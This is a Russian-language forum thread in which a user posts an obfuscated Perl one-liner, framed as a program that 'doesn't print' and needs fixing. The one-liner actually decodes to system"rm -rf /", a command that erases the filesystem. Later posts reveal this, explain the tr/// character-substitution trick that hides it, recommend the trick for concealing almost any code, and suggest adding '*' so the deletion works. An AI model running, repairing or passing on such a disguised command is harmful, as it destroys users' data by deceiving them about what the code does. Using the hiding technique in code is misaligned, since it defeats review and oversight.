Уважаемые гости и пользователи форума!


Тема для обсуждения ISPConfig Installer 5.

Движок phpBBex, вероятно, прекратил своё развитие.
Перевёл форум на phpBB 3.2.1

Перед первым входом на форум желательно Удалить cookies форума и очистить кэш браузера.
Если Вы были зарегистрированы на старом форуме, а здесь не можете зайти под своей учётной записью, пожалуйста, сообщите свой ник мне через контактную форму "Связаться с администрацией"

программа из одной строчки на Perl

После удачной (ну... или неудачной) установки очередного сервера хочется расслабиться (или... выпустить пар :-)) и с кем-нибудь поговорить на отвлечённые темы.
Говорим обо всём.

Модераторы: rewuxiin, kulia

Правила форума
Условием использования нашего форума, является соблюдение настоящих Правил форума.

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам, а вы рискуете получить предупреждение.
Ответить
Аватара пользователя
SinglWolf
Сообщения: 1304
Зарегистрирован: 23 янв 2012, 22:11
Откуда: Башкирия
Контактная информация:

программа из одной строчки на Perl

Сообщение SinglWolf » 09 окт 2017, 18:11

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

[spoiler="Читать обязательно"]Во избежание семиэтажных матов (в мой адрес), употребления корвалола в вперемешку с нецензурной лексикой, не тестировать на сервер-продакшене и тем более не запускать (см. выше) из под ROOT[/spoiler]
rewuxiin
Супер модератор
Супер модератор
Сообщения: 216
Зарегистрирован: 30 окт 2012, 15:14

Сообщение rewuxiin » 09 окт 2017, 18:19

чур меня
Аватара пользователя
kulia
Сообщения: 139
Зарегистрирован: 28 май 2014, 14:59
Откуда: Москва

Сообщение kulia » 09 окт 2017, 19:08

SinglWolf писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не, ну Вы там на своем птичьем разговариваете, а мне вот даже интересно стало, что тут зашифровано.
Я в таких perl-ах не силен, понаписали тут крикозябликов, а что оно делать то должно??? Понятно что что-то вывести, но не понятно что *CRAZY* :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...
Аватара пользователя
SinglWolf
Сообщения: 1304
Зарегистрирован: 23 янв 2012, 22:11
Откуда: Башкирия
Контактная информация:

Сообщение SinglWolf » 09 окт 2017, 19:40

Там "зашифровано"

Код: Выделить всё

rm -rf /*
Делайте выводы сами. Без комментариев.
Аватара пользователя
kulia
Сообщения: 139
Зарегистрирован: 28 май 2014, 14:59
Откуда: Москва

Сообщение kulia » 09 окт 2017, 19:51

Теперь понятно что он выводит... из строя :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...
Аватара пользователя
SinglWolf
Сообщения: 1304
Зарегистрирован: 23 янв 2012, 22:11
Откуда: Башкирия
Контактная информация:

Сообщение SinglWolf » 10 окт 2017, 11:29

Кому интересно как работает!
обычная шифровка и немного знания, как работает оператор tr/// он же y///.
создаётся алгоритм шифрования типа ключ -> значение
(часто встречается в путаном коде)

Код: Выделить всё

#!/usr/bin/perl -w
use strict; 
##  Патч Бармина
my $str = "=]=>%-{<-|}<&|`{";
 
  my $a1='';
  $a1 =~ s:: !"#$%&'()*+,-./: ;
 print "a1=$a1\n";                         # -/
  my $a2='';
  $a2 =~ s//:;<=>?@/ ;
 print "a2=$a2\n";                         #:-@
  my $a3='';
  $a3 =~ s::[\]^_`: ;
 print "a3=$a3\n";                         #[-`
  my $a4='';
  $a4 =~ s::{|}: ;
 print "a4=$a4\n";                         #{-}
  my $a5='';
  $a5 =~ s::`abcdefghijklmnopqrstuvwxyz{: ;
 print "a5=$a5\n";                         #`-{
 
 $str =~ y# -/:-@[-`{-}#`-{/" -#  ;
 
### (ключ) !"#$%&'()*+,-./:;<=>?@[\]^_`{|}  ###
### (значение)`abcdefghijklmnopqrstuvwxyz{/" -###
# сверху ключ,под ним снизу его значение.
# и посимвольно '=' => 's', ']' => 'y', ....и т.д.
# (шифр) =]=>%-{<-|}<&|`{  ==>  (расшифровка) system"rm -rf /"
 
print "str = $str\n";
используя этот метод можно сделать не явным если не всё,то почти всё в коде.
также решить первоначальный вопрос - почему не работает?
если не Windows, то, например, добавить в конец команды '*', или что-то ещё.
P.S. так что никаких угадываний - чистая математика.
Ответить

Вернуться в «Курилка»